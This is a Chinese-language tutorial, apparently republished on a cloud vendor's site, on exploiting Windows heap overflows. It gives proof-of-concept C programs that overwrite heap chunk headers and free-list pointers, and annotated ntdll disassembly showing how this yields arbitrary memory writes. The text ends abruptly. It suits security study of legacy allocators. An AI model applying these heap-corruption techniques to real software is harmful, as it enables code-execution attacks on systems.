windows下堆溢出

來源:互聯網
上載者:User

總結windows下堆溢出的三種利用方式(1)

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x01/
x08/x00/x11/x11/x11/x11/x21/x21/x21/x21";

buf1 = (char*)malloc (32); /* 分配兩塊記憶體 */
memcpy (buf1, s, 32+16); /* 這裡多複製16個位元組 */

buf2 = (char*)malloc (16);

free (buf1);
free (buf2);

return 0;
}

在給buf1完成malloc之後,返回的地址(buf1)是個指標,指向的記憶體配置情況是這樣

buf1的管理結構(8bytes)|buf1真正可操作空間(32bytes)|下一個空閑堆的管理結構(8bytes)|兩個雙鏈表指標(8bytes)

在給buf2完成malloc之後,buf1指向的記憶體配置情況是這樣

buf1的管理結構(8bytes)|buf1真正可操作空間(32bytes)|buf2的管理結構(8bytes)|buf2真正可操作空間(16bytes)|兩個雙鏈表指標(8bytes)

現在如果在buf2分配空間之前,buf1的memcpy操作溢出,並且覆蓋了
下一個空閑堆的管理結構(8bytes)|兩個雙鏈表指標(8bytes)
共16個位元組的時候,就會造成buf2的RtlAllocHeap操作異常。原因看RtlAllocHeap的這段代碼

001B:77FCC453 8901 MOV [ECX],EAX
001B:77FCC455 894804 MOV [EAX+04],ECX

此時ECX指向兩個雙鏈表指標(8bytes)的後一個指標(0x21212121),EAX指向前一個指標(0x11111111)。類似於format string溢出,可以寫任意資料到任意地址,這種情況比較簡單,前提是在buf2分配空間之前buf1有溢出的機會

2.利用RtlFreeHeap的方式一
這是ilsy提到的,看例子

main (int argc, char *argv[])
{
char *buf1, *buf2;
char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x09";

buf1 = (char*)malloc (32); /* 分配兩塊記憶體 */
buf2 = (char*)malloc (16);

memcpy (buf1, s, 32+6); /* 這裡多複製6個位元組 */

free (buf1);
free (buf2);

return 0;
}

由於buf1多複製了6個位元組,這6個位元組會覆蓋掉buf2的管理結構,在free(buf2)時會發生異常。只要我們精心構造這個6個位元組就可以達到目的

先看看8位元組管理結構的定義(從windows源碼中找到)
typedef struct _HEAP_ENTRY {

//
// This field gives the size of the current block in allocation
// granularity units. (i.e. Size << HEAP_GRANULARITY_SHIFT
// equals the size in bytes).
//
// Except if this is part of a virtual alloc block then this
// value is the difference between the commit size in the virtual
// alloc entry and the what the user asked for.
//

USHORT Size;

//
// This field gives the size of the previous block in allocation
// granularity units. (i.e. PreviousSize << HEAP_GRANULARITY_SHIFT
// equals the size of the previous block in bytes).
//

USHORT PreviousSize;

//
// This field contains the index into the segment that controls
// the memory for this block.
//

UCHAR SegmentIndex;

//
// This field contains various flag bits associated with this block.
// Currently these are:
//
// 0x01 - HEAP_ENTRY_BUSY
// 0x02 - HEAP_ENTRY_EXTRA_PRESENT
// 0x04 - HEAP_ENTRY_FILL_PATTERN
// 0x08 - HEAP_ENTRY_VIRTUAL_ALLOC
// 0x10 - HEAP_ENTRY_LAST_ENTRY
// 0x20 - HEAP_ENTRY_SETTABLE_FLAG1
// 0x40 - HEAP_ENTRY_SETTABLE_FLAG2
// 0x80 - HEAP_ENTRY_SETTABLE_FLAG3
//

UCHAR Flags;

//
// This field contains the number of unused bytes at the end of this
// block that were not actually allocated. Used to compute exact
// size requested prior to rounding requested size to allocation
// granularity. Also used for tail checking purposes.
//

UCHAR UnusedBytes;

//
// Small (8 bit) tag indexes can go here.
//

UCHAR SmallTagIndex;

#if defined(_WIN64)
ULONGLONG Reserved1;
#endif

} HEAP_ENTRY, *PHEAP_ENTRY;

就是

本堆的size(2bytes)|上一個堆的size(2bytes)|index(1byte)|flag(1byte)|unusedbytes(1byte)|smalltagindex(1byte)

注意這裡的size是實際大小進行8位元組對齊後除以8的值
可以看看flag的各個定義

再看看RtlFreeHeap裡面幾個關鍵的地方

關鍵點一
001B:77FCC829 8A4605 MOV AL,[ESI+05] //esi指向buf2的8位元組管理結構的起始地址,al即flag
001B:77FCC82C A801 TEST AL,01 //flag值是否含有HEAP_ENTRY_BUSY
001B:77FCC82E 0F84A40E0000 JZ 77FCD6D8 //不含則跳轉。這裡不能跳
001B:77FCC834 F6C207 TEST DL,07
001B:77FCC837 0F859B0E0000 JNZ 77FCD6D8
001B:77FCC83D 807E0440 CMP BYTE PTR [ESI+04],40 //esi+4是否大於0x40
001B:77FCC841 0F83910E0000 JAE 77FCD6D8 //大於等於則跳轉,這裡不能跳
001B:77FCC847 834DFCFF OR DWORD PTR [EBP-04],-01
001B:77FCC84B A8E0 TEST AL,E0 //flag是否含有HEAP_ENTRY_SETTABLE_FLAG1 2 3
001B:77FCC84D 754A JNZ 77FCC899 //只要含有一個就跳,這裡不重要
001B:77FCC84F 8B8F80050000 MOV ECX,[EDI+00000580]
001B:77FCC855 85C9 TEST ECX,ECX
001B:77FCC857 7440 JZ 77FCC899 //這裡必然會跳

關鍵點二
001B:77FCC899 C745FC01000000 MOV DWORD PTR [EBP-04],00000001
001B:77FCC8A0 F6C301 TEST BL,01
001B:77FCC8A3 750F JNZ 77FCC8B4 //這裡必然會跳
001B:77FCC8A5 FFB778050000 PUSH DWORD PTR [EDI+00000578]
001B:77FCC8AB E853C8FBFF CALL ntdll!RtlEnterCriticalSection
001B:77FCC8B0 C645D401 MOV BYTE PTR [EBP-2C],01
001B:77FCC8B4 F6460508 TEST BYTE PTR [ESI+05],08 //flag是否含HEAP_ENTRY_VIRTUAL_ALLOC
001B:77FCC8B8 0F858BF2FFFF JNZ 77FCBB49 //含有則跳,這裡要跳

關鍵點三
001B:77FCBB49 83C6E8 ADD ESI,-18 //ilsy說在不同的windows版本上這個0x18的是不同的
001B:77FCBB4C 89759C MOV [EBP-64],ESI
001B:77FCBB4F 8B06 MOV EAX,[ESI]
001B:77FCBB51 894598 MOV [EBP-68],EAX
001B:77FCBB54 8B7604 MOV ESI,[ESI+04]
001B:77FCBB57 897594 MOV [EBP-6C],ESI
001B:77FCBB5A 8906 MOV [ESI],EAX //這裡會操作異常

我們看到最後操作異常的時候EAX=0X61616161,ESI=0X61616161,正好是buf1裡的值,就是將buf2的起始地址減去0x18的地址的資料複製到之後  

 

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.